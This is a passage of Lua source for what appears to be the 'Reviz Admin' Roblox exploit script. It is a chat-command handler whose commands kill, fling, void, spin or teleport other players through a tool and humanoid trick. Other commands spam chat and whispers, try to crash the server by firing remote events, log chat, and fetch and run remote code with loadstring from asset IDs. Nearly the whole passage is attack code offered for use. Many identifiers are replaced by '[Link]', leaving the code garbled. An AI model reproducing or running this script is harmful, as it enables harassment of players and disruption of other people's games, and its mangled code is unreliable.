cbring = true
end
if [Link](msg, 1, 9) == (prefix.."uncbring") then
cbring = false
cbringall = false
end
if [Link](msg, 1, 6) == (prefix.."swap ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
local NOWPLR = game:GetService("Players")
[[Link]].[Link]
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then
char1:MoveTo([Link])
end
end
wait(0.1)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link] =
game:GetService("Players")[[Link]].[Link]
wait(0.5)
[Link] = NOW
wait(0.6)
tp(lplayer, game:GetService("Players")[[Link]])
wait(0.4)
[Link] =
NOWPLR

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 8) == (prefix.."glitch ") then
for i,v in pairs(GetPlayer([Link](msg, 9))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link] =
game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.3)
[Link] =
game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.4)
b = [Link]("BodyForce")
[Link] = [Link]
[Link] = "Glitch"
[Link] = [Link](100000000,5000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your backpack
for this command!";
})
end
end
if [Link](msg, 1, 9) == (prefix.."unglitch") then
[Link]:Destroy()
[Link] =
[Link](10000,0,10000)
b = [Link]("BodyForce")
[Link] = [Link]
[Link] = "unGlitch"
[Link] = [Link](0,-5000000,0)
wait(2)
[Link]:Destroy()
end
if [Link](msg, 1, 9) == (prefix.."grespawn") then
[Link] = 0
wait(1)
[Link] =
[Link](1000000,0,1000000)
[Link] =
[Link](1000000,0,1000000)
end
if [Link](msg, 1, 9) == (prefix.."explorer") then
loadstring(game:GetObjects("rbxassetid://492005721")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "DEX Explorer has loaded.";
})
end
if [Link](msg, 1, 6) == (prefix.."anim ") then
local Anim = [Link]("Animation")
[Link] = "rbxassetid://"..([Link](msg,
7))
local track =
[Link]:LoadAnimation(Anim)
track:Play(.1, 1, 1)
end
if [Link](msg, 1, 8) == (prefix.."animgui") then
loadstring(game:GetObjects("rbxassetid://1202558084")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "Energize Animations GUI has loaded.";
})
end
if [Link](msg, 1, 8) == (prefix.."savepos") then
saved = [Link]

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Position Saved";
Text = "Use ;loadpos to return to saved
position.";
})
end
if [Link](msg, 1, 8) == (prefix.."loadpos") then
[Link] = saved
end
if [Link](msg, 1, 6) == (prefix.."bang ") then
for i,v in pairs(GetPlayer([Link](msg, 7))) do
local Anim2 = [Link]("Animation")
[Link] = "rbxassetid://148840371"
local track2 =
[Link]:LoadAnimation(Anim2)
track2:Play(.1, 1, 1)
bplrr = [Link]
banpl = true
end
end
if [Link](msg, 1, 7) == (prefix.."unbang") then
banpl = false
end
if [Link](msg, 1, 10) == (prefix.."bringmod ") then
local function bringmodw()
for i,obj in
ipairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] == ([Link](msg, 11)) then
for i,ch in
pairs(obj:GetDescendants()) do
if (ch:IsA("BasePart")) then
[Link] =
[Link]
[Link] = false
[Link] = 0.7
wait()
[Link] =
[Link]["Left Leg"].CFrame
wait()
[Link] =
[Link]["Right Leg"].CFrame
wait()
[Link] =
[Link]["Head"].CFrame
end
end
end
end
end
while wait() do
bringmodw()
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "BringMod";
Text = "BringMod enabled.";
})
end
if [Link](msg, 1, 8) == (prefix.."respawn") then
local mod = [Link]('Model', workspace) [Link]
= 're '..[Link]
local hum = [Link]('Humanoid', mod)
local ins = [Link]('Part', mod) [Link] =
'Torso' [Link] = false [Link] = 1
[Link] = mod
end
if [Link](msg, 1, 9) == (prefix.."shutdown") then

game:GetService'RunService'.Stepped:Connect(function()
pcall(function()
for i,v in
pairs(game:GetService'Players':GetPlayers()) do
if [Link] ~= nil and
[Link]:FindFirstChild'Head' then
for _,x in
pairs([Link]:GetChildren()) do
if x:IsA'Sound' then
[Link] = true [Link]:FireServer(true, true) end
end
end
end
end)
end)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Attempting Shutdown";
Text = "Shutdown Attempt has begun.";
})
end
if [Link](msg, 1, 8) == (prefix.."delobj ") then
objtodel = ([Link](msg, 9))
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if [Link] == objtodel then
v:Destroy()
end
end
end
if [Link](msg, 1, 8) == (prefix.."getplrs") then
for i,v in
pairs(game:GetService("Players"):GetPlayers())do
print(v)
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printed";
Text = "Players have been printed to console.
(F9)";
})
end
if [Link](msg, 1, 9) == (prefix.."deldecal") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants())do
if (v:IsA("Decal")) then
v:Destroy()
end
end
end
if [Link](msg, 1, 11) == (prefix.."opfinality") then
loadstring(game:GetObjects("rbxassetid://1294358929")
[1].Source)()

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Success!";
Text = "OpFinality GUI has loaded.";
})
end
if [Link](msg, 1, 8) == (prefix.."remotes") then
remotes = true
added = true
[Link]:connect(function(rmt)
if added == true then
if remotes == true then
if rmt:IsA("RemoteEvent") then
print("A RemoteEvent was
added!")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent")
print(" game." ..
rmt:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end end
end)
[Link]:connect(function(rmtfnctn)
if added == true then
if remotes == true then
if rmtfnctn:IsA("RemoteFunction")
then
warn("A RemoteFunction was
added!")
warn(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction")
print(" game." ..
rmtfnctn:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end end
end)

[Link]:connect(function(bndfnctn)
if added == true then
if binds == true then
if bndfnctn:IsA("BindableFunction")
then
print("A BindableFunction was
added!")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction")
print(" game." ..
bndfnctn:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end end
end)

[Link]:connect(function(bnd)
if added == true then
if binds == true then
if bnd:IsA("BindableEvent") then
warn("A BindableEvent was
added!")
warn(" game." ..
bnd:GetFullName() .. " | BindableEvent")
print(" game." ..
bnd:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end end
end)

if binds == true then


for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableFunction") then
print(" game." ..
v:GetFullName() .. " | BindableFunction")
print(" game." ..
v:GetFullName() .. " | BindableFunction", 239, 247, 4, true)
end end
for i,v in pairs(game:GetDescendants()) do
if v:IsA("BindableEvent") then
warn(" game." .. v:GetFullName() ..
" | BindableEvent")
print(" game." ..
v:GetFullName() .. " | BindableEvent", 13, 193, 22, true)
end end
else
print("Off")
end
if remotes == true then
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteFunction") then
warn(" game." .. v:GetFullName() ..
" | RemoteFunction")
print(" game." ..
v:GetFullName() .. " | RemoteFunction", 5, 102, 198, true)
end end
wait()
for i,v in pairs(game:GetDescendants()) do
if v:IsA("RemoteEvent") then
print(" game." ..
v:GetFullName() .. " | RemoteEvent")
print(" game." ..
v:GetFullName() .. " | RemoteEvent", 247, 0, 0, true)
end end
else
print("Off")
end

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes";
Text = "Type ;noremotes to disable.";
})
end
if [Link](msg, 1, 10) == (prefix.."noremotes") then
remotes = false
added = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Printing Remotes Disabled";
Text = "Type ;remotes to enable.";
})
end
if [Link](msg, 1, 10) == (prefix.."tpdefault") then
spin = false
followed = false
traill = false
noclip = false
annoying = false
hwalk = false
cbringing = false
end
if [Link](msg, 1, 8) == (prefix.."stopsit") then
stopsitting = true
end
if [Link](msg, 1, 6) == (prefix.."gosit") then
stopsitting = false
end
if [Link](msg, 1, 8) == (prefix.."version") then
print(adminversion)
game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Version";
Text = adminversion;
})
end
if [Link](msg, 1, 8) == (prefix.."clicktp") then
clickgoto = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Press E to teleport to mouse
position, ;noclicktp to stop";
})
end
if [Link](msg, 1, 9) == (prefix.."clickdel") then
clickdel = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Press E to delete part at mouse,
;noclickdel to stop";
})
end
if [Link](msg, 1, 11) == (prefix.."noclickdel") then
clickdel = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click Delete";
Text = "Click delete has been disabled.";
})
end
if [Link](msg, 1, 10) == (prefix.."noclicktp") then
clickgoto = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Click TP";
Text = "Click TP has been disabled.";
})
end
if [Link](msg, 1, 8) == (prefix.."toolson") then
gettingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Enabled";
Text = "Automatically colleting tools
dropped.";
})
end
if [Link](msg, 1, 9) == (prefix.."toolsoff") then
gettingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools Disabled";
Text = "Click TP has been disabled.";
})
end
if [Link](msg, 1, 10) == (prefix.."delcmdbar") then
ScreenGui:Destroy()
end
if [Link](msg, 1, 6) == (prefix.."reset") then
[Link]:Destroy()
end
if [Link](msg, 1, 7) == (prefix.."state ") then
statechosen = [Link](msg, 8)
changingstate = true
end
if [Link](msg, 1, 9) == (prefix.."gravity ") then
game:GetService("Workspace").Gravity =
[Link](msg, 10)
end
if [Link](msg, 1, 10) == (prefix.."looprhats") then
removingmeshhats = true
end
if [Link](msg, 1, 12) == (prefix.."unlooprhats") then
removingmeshhats = false
end
if [Link](msg, 1, 10) == (prefix.."looprtool") then
removingmeshtool = true
end
if [Link](msg, 1, 12) == (prefix.."unlooprtool") then
removingmeshtool = false
end
if [Link](msg, 1, 10) == (prefix.."givetool ") then
for i,v in
pairs(game:GetService("Players").[Link]:GetDescendants()) do
if v:IsA("Tool") then
for i,player in
pairs(GetPlayer([Link](msg, 11))) do
[Link] = [Link]
end
end
end
end
if [Link](msg, 1, 14) == (prefix.."givealltools ") then
for i,v in
pairs(game:GetService("Players").[Link]:GetDescendants()) do
if v:IsA("Tool") then
[Link] = [Link]
wait()
for i,player in
pairs(GetPlayer([Link](msg, 15))) do
[Link] = [Link]
end
end
end
end
if [Link](msg, 1, 5) == (prefix.."age ") then
for i,player in pairs(GetPlayer([Link](msg, 6)))
do

game:GetService("ReplicatedStorage").[Link]:
FireServer([Link].." Account Age: "..[Link].." days!", "All")
end
end
if [Link](msg, 1, 4) == (prefix.."id ") then
for i,player in pairs(GetPlayer([Link](msg, 5)))
do

game:GetService("ReplicatedStorage").[Link]:
FireServer([Link].." Account ID: "..[Link], "All")
end
end
if [Link](msg, 1, 6) == (prefix..".age ") then
for i,player in pairs(GetPlayer([Link](msg, 7)))
do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = [Link].." Days";
Text = "Account age of "..[Link];
})
end
end
if [Link](msg, 1, 5) == (prefix..".id ") then
for i,player in pairs(GetPlayer([Link](msg, 6)))
do

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = [Link].." ID";
Text = "Account ID of "..[Link];
})
end
end
if [Link](msg, 1, 7) == (prefix.."gameid") then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Game ID";
Text = "Game ID: ".. [Link];
})
end
if [Link](msg, 1, 4) == (prefix.."pgs") then
local pgscheck =
game:GetService("Workspace"):PGSIsEnabled()
if pgscheck == true then

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Enabled!";
})
else

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "PGSPhysicsSolverEnabled";
Text = "PGS is Disabled!";
})
end
end
if [Link](msg, 1, 12) == (prefix.."removeinvis") then
for i,v in
pairs(game:GetService("Workspace"):GetDescendants()) do
if v:IsA("Part") then
if [Link] == 1 then
if [Link] ~= "HumanoidRootPart"
then
v:Destroy()
end
end
end
end
end
if [Link](msg, 1, 10) == (prefix.."removefog") then
game:GetService("Lighting").FogStart = 0
game:GetService("Lighting").FogEnd = 9999999999999
end
if [Link](msg, 1, 8) == (prefix.."disable") then
[Link] = lplayer
end
if [Link](msg, 1, 7) == (prefix.."enable") then
[Link] = [Link]
end
if [Link](msg, 1, 8) == (prefix.."prefix ") then
prefix = ([Link](msg, 9, 9))
wait(0.1)
change()
wait(0.1)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Use
;resetprefix to reset to ;";
})
end
if [Link](msg, 1, 12) == (";resetprefix") then
prefix = ";"
wait(0.1)
change()
wait(0.1)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Prefix changed!";
Text = "Prefix is now "..prefix..". Make sure
it's one key!";
})
end
if [Link](msg, 1, 10) == (prefix.."flyspeed ") then
speedfly = [Link](msg, 11)
wait()
change()
end
if [Link](msg, 1, 8) == (prefix.."carpet ") then
for i,v in pairs(GetPlayer([Link](msg, 9))) do
local Anim3 = [Link]("Animation")
[Link] = "rbxassetid://282574440"
local track3 =
[Link]:LoadAnimation(Anim3)
track3:Play(.1, 1, 1)
bplrr = [Link]
banpl = true
end
end
if [Link](msg, 1, 9) == (prefix.."uncarpet") then
banpl = false
end
if [Link](msg, 1, 7) == (prefix.."stare ") then
for i,v in pairs(GetPlayer([Link](msg, 8))) do
staring = true
stareplr = v
end
end
if [Link](msg, 1, 8) == (prefix.."unstare") then
staring = false
end
if [Link](msg, 1, 8) == (prefix.."logchat") then
chatlogs = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat enabled";
Text = "Now logging all player chat.";
})
end
if [Link](msg, 1, 10) == (prefix.."unlogchat") then
chatlogs = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "LogChat disabled";
Text = "Stopped logging all player chat.";
})
end
if [Link](msg, 1, 7) == (prefix.."fixcam") then
game:GetService("Workspace").CurrentCamera:Destroy()
wait(0.1)

game:GetService("Workspace").[Link] =
[Link]
game:GetService("Workspace").[Link]
= "Custom"
[Link] = 0.5
[Link] = 400
[Link] = "Classic"
end
if [Link](msg, 1, 8) == (prefix.."unstate") then
changingstate = false
end
end)

local function tp()


for i, player in
ipairs(game:GetService("Players"):GetPlayers()) do
if [Link] and
[Link]:FindFirstChild("HumanoidRootPart") then
if [Link] == brplr then
[Link]
= [Link] +
[Link] * 2
end
end
end
end
local function tpall()
for i, player in
ipairs(game:GetService("Players"):GetPlayers()) do
if [Link] and
[Link]:FindFirstChild("HumanoidRootPart") then
[Link] =
[Link] +
[Link] * 3
end
end
end
spawn(function()
while wait(spamdelay) do
if spamming == true then

game:GetService("ReplicatedStorage").[Link]:
FireServer(spamtext, "All")
end
end
end)
spawn(function()
while wait(spamdelay) do
if spammingpm == true then

game:GetService("ReplicatedStorage").[Link]:
FireServer("/w "..pmspammed.."
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@", "All")
end
end
end)
spawn(function()
while wait() do
if cbring == true then
tp()
end
end
end)
spawn(function()
while wait() do
if cbringall == true then
tpall()
end
end
end)

[Link]:connect(function(Key)
if Key == prefix then
CMDBAR:CaptureFocus()
end
end)

[Link]:connect(function(enterPressed)
if enterPressed then
if [Link]([Link], 1, 5) == ("kill ") then
if [Link]([Link], 6) == "me" then
[Link]
= [Link](100000,0,100000)
else
for i,v in
pairs(GetPlayer([Link]([Link], 6)))do
local NOW =
[Link]
[Link] = 1
local l =
[Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link]
= true
wait(0.1)
[Link]
= false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then

char1:MoveTo([Link])
end
end
wait(0.1)

[Link] = game:GetService("Players")
[[Link]].[Link]
wait(0.2)

[Link] = game:GetService("Players")
[[Link]].[Link]
wait(0.5)

[Link] = [Link]([Link](-
100000,10,-100000))
wait(0.7)

tp(lplayer,game:GetService("Players")[[Link]])
wait(0.7)

[Link] = NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in
your backpack for this command!";
})
end
end
end
if [Link]([Link], 1, 6) == ("bring ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7)))do
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
local function tp(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then
[Link]
= [Link]
end
end
local function getout(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then

char1:MoveTo([Link])
end
end
tp(game:GetService("Players")[[Link]],
lplayer)
wait(0.2)
tp(game:GetService("Players")[[Link]],
lplayer)
wait(0.5)
[Link]
= NOW
wait(0.5)
getout(lplayer,
game:GetService("Players")[[Link]])
wait(0.3)
[Link]
= NOW

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 5) == ("spin ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
[Link]
= game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
spinplr = v
wait(0.5)
spin = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 6) == ("unspin") then
spin = false
end
if [Link]([Link], 1, 7) == ("attach ") then
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do
[Link]:EquipTool(v)
end
[Link]
= game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
wait(0.3)
[Link]
= game:GetService("Players")[[Link]].Character["Left Arm"].CFrame
attplr = v

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 9) == ("unattach ")
then
for i,v in
pairs(GetPlayer([Link]([Link], 10))) do
local function getout(player,player2)
local
char1,char2=[Link],[Link]
if char1 and char2 then

char1:MoveTo([Link])
end
end
getout(lplayer,
game:GetService("Players")[[Link]])
end
end
if [Link]([Link], 1, 7) == ("follow ") then
for i,v in
pairs(GetPlayer([Link]([Link], 8))) do
followed = true
flwplr = v
end
end
if [Link]([Link], 1, 8) == ("unfollow") then
followed = false
end
if [Link]([Link], 1, 9) == ("freefall ")
then
for i,v in
pairs(GetPlayer([Link]([Link], 10))) do
local NOW =
[Link]
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.6)
[Link]
= NOW
wait(0.6)
[Link]
= [Link](0,50000,0)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 6) == ("trail ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
traill = true
trlplr = v
end
end
if [Link]([Link], 1, 7) == ("untrail") then
traill = false
end
if [Link]([Link], 1, 6) == ("orbit ") then
if [Link]([Link], 7) == "all" or
[Link]([Link], 7) == "others" or [Link]([Link], 7) == "me" then
[Link]
= [Link]
else
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
local o =
[Link]("RocketPropulsion")
[Link] =
[Link]
[Link] = "Orbit"
[Link] =
game:GetService("Players")[[Link]].[Link]
o:Fire()
noclip = true
end
end
end
if [Link]([Link], 1, 7) == ("unorbit") then
[Link]:Destroy()
noclip = false
end
if [Link]([Link], 1, 6) == ("fling ") then
if [Link]([Link], 7) == "all" or
[Link]([Link], 7) == "others" or [Link]([Link], 7) == "me" then
[Link]
= [Link]
else
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
local y =
[Link]("RocketPropulsion")
[Link] =
[Link]
[Link] = 1
[Link] = 800000
[Link] = 1000
[Link] = 200000
[Link] = "Fling"

game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
[Link] =
game:GetService("Players")[[Link]].[Link]
y:Fire()
noclip = true
end
end
end
if [Link]([Link], 1, 7) == ("unfling") then
noclip = false

[Link]:Destroy()

game:GetService("Workspace").[Link] =
[Link]
wait(0.4)

[Link]:Destroy()
end
if [Link]([Link], 1, 7) == ("fecheck") then
if
game:GetService("Workspace").FilteringEnabled == true then
warn("FE is Enabled (Filtering Enabled)")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Enabled";
Text = "Filtering Enabled. Enjoy
using Reviz Admin!";
})
else
warn("FE is Disabled (Filtering Disabled)
Consider using a different admin script.")

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE is Disabled";
Text = "Filtering Disabled.
Consider using a different admin script.";
})
end
end
if [Link]([Link], 1, 5) == ("void ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] =
false

[Link] = "None"
for i,v in
pairs(game:GetService'Players'.[Link]:GetChildren())do

[Link]:EquipTool(v)
end
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.2)
[Link]
= game:GetService("Players")[[Link]].[Link]
wait(0.6)
[Link]
= [Link](999999999999999,0,999999999999999)

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Tools needed!";
Text = "You need a tool in your
backpack for this command!";
})
end
end
if [Link]([Link], 1, 6) == ("noclip") then
noclip = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip enabled";
Text = "Type ;clip to disable";
})
end
if [Link]([Link], 1, 4) == ("clip") then
noclip = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Noclip disabled";
Text = "Type ;noclip to enable";
})
end
if [Link]([Link], 1, 6) == ("speed ") then
[Link] =
([Link]([Link], 7))
end
if [Link]([Link], 1, 3) == ("ws ") then
[Link] =
([Link]([Link], 4))
end
if [Link]([Link], 1, 10) == ("hipheight ")
then
[Link] =
([Link]([Link], 11))
end
if [Link]([Link], 1, 3) == ("hh ") then
[Link] =
([Link]([Link], 4))
end
if [Link]([Link], 1, 10) == ("jumppower ")
then
[Link] =
([Link]([Link], 11))
end
if [Link]([Link], 1, 3) == ("jp ") then
[Link] =
([Link]([Link], 4))
end
if [Link]([Link], 1, 7) == ("default") then
[Link] = 50
[Link] = 16
[Link] = 0
end
if [Link]([Link], 1, 6) == ("annoy ") then
for i,v in
pairs(GetPlayer([Link]([Link], 7))) do
annoying = true
annplr = v
end
end
if [Link]([Link], 1, 7) == ("unannoy") then
annoying = false
end
if [Link]([Link], 1, 9) == ("headwalk ")
then
for i,v in
pairs(GetPlayer([Link]([Link], 10))) do
hwalk = true
hdwplr = v
end
end
if [Link]([Link], 1, 10) == ("unheadwalk")
then
hwalk = false
end
if [Link]([Link], 1, 7) == ("nolimbs") then
[Link]["Left Leg"]:Destroy()
[Link]["Left Arm"]:Destroy()
[Link]["Right Leg"]:Destroy()
[Link]["Right Arm"]:Destroy()
end
if [Link]([Link], 1, 3) == ("god") then
[Link] = 1
local l = [Link]["1"]:Clone()
[Link] = [Link]
[Link] = "Humanoid"
wait(0.1)
[Link]["1"]:Destroy()

game:GetService("Workspace").[Link] = [Link]
[Link] = true
wait(0.1)
[Link] = false
[Link]
= "None"

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "FE Godmode enabled";
Text = "Use ;grespawn or ;respawn to
remove.";
})
end
if [Link]([Link], 1, 8) == ("drophats") then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Accessory")) or (v:IsA("Hat"))
then
[Link] = workspace
end
end
end
if [Link]([Link], 1, 8) == ("droptool") then
for i,v in
pairs([Link]:GetChildren()) do
if (v:IsA("Tool")) then
[Link] = workspace
end
end
end
if [Link]([Link], 1, 9) == ("loopdhats")
then
droppinghats = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdhats to disable";
})
end
if [Link]([Link], 1, 11) == ("unloopdhats")
then
droppinghats = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdhats to enable.";
})
end
if [Link]([Link], 1, 9) == ("loopdtool")
then
droppingtools = true

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Enabled";
Text = "Type ;unloopdtool to disable";
})
end
if [Link]([Link], 1, 11) == ("unloopdtool")
then
droppingtools = false

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Loop Drop Disabled";
Text = "Type ;loopdtool to enable.";
})
end
if [Link]([Link], 1, 9) == ("invisible")
then -- Credit to Timeless
Local = game:GetService('Players').LocalPlayer
Char = [Link]
touched,tpdback = false, false
box = [Link]('Part',workspace)
[Link] = true
[Link] = true
[Link] = [Link](10,1,10)
[Link] = [Link](0,10000,0)
[Link]:connect(function(part)
if ([Link] == [Link]) then
if touched == false then
touched = true
function apply()
if [Link] ~=
true then
no =
[Link]:Clone()
wait(.25)

[Link]:Destroy()
[Link] = Char
Char:MoveTo(loc)
touched = false
end end
if Char then
apply()
end
end
end
end)
repeat wait() until Char
loc = [Link]
Char:MoveTo([Link] + [Link](0,.5,0))

game:GetService("StarterGui"):SetCore("SendNotification", {
Title = "Invisibility enabled!";
Text = "Reset or use ;respawn to
remove.";
})
end
if [Link]([Link], 1, 5) == ("view ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
if game:GetService("Players")
[[Link]].[Link] then

game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
else

game:GetService("Workspace").[Link] =
game:GetService("Players")[[Link]].[Link]
end
end
end
if [Link]([Link], 1, 6) == ("unview") then
if [Link] then

game:GetService("Workspace").[Link] =
[Link]
else

game:GetService("Workspace").[Link] =
[Link]
end
end
if [Link]([Link], 1, 5) == ("goto ") then
for i,v in
pairs(GetPlayer([Link]([Link], 6))) do
[Link]
= game:GetService("Players")[[Link]].[Link]
end
end
if [Link]([Link], 1, 3) == ("fly") then
repeat wait() until lplayer and
[Link] and [Link]:FindFirstChild('HumanoidRootPart') and
[Link]:FindFirstChild('Humanoid')
repeat wait() until Mouse

local T = [Link]
local CONTROL = {F = 0, B = 0, L = 0, R = 0}
local lCONTROL = {F = 0, B = 0, L = 0, R = 0}
local SPEED = speedget

local function fly()


flying = true
local BG = [Link]('BodyGyro', T)
local BV = [Link]('BodyVelocity',
T)
BG.P = 9e4
[Link] = [Link](9e9, 9e9, 9e9)
[Link] = [Link]
[Link] = [Link](0, 0.1, 0)
[Link] = [Link](9e9, 9e9, 9e9)
spawn(function()
repeat wait()

[Link] = true
if CONTROL.L + CONTROL.R ~= 0
or CONTROL.F + CONTROL.B ~= 0 then
SPEED = 50
elseif not (CONTROL.L +
CONTROL.R ~= 0 or CONTROL.F + CONTROL.B ~= 0) and SPEED ~= 0 then
SPEED = 0
end
if (CONTROL.L + CONTROL.R) ~=
0 or (CONTROL.F + CONTROL.B) ~= 0 then
[Link] =
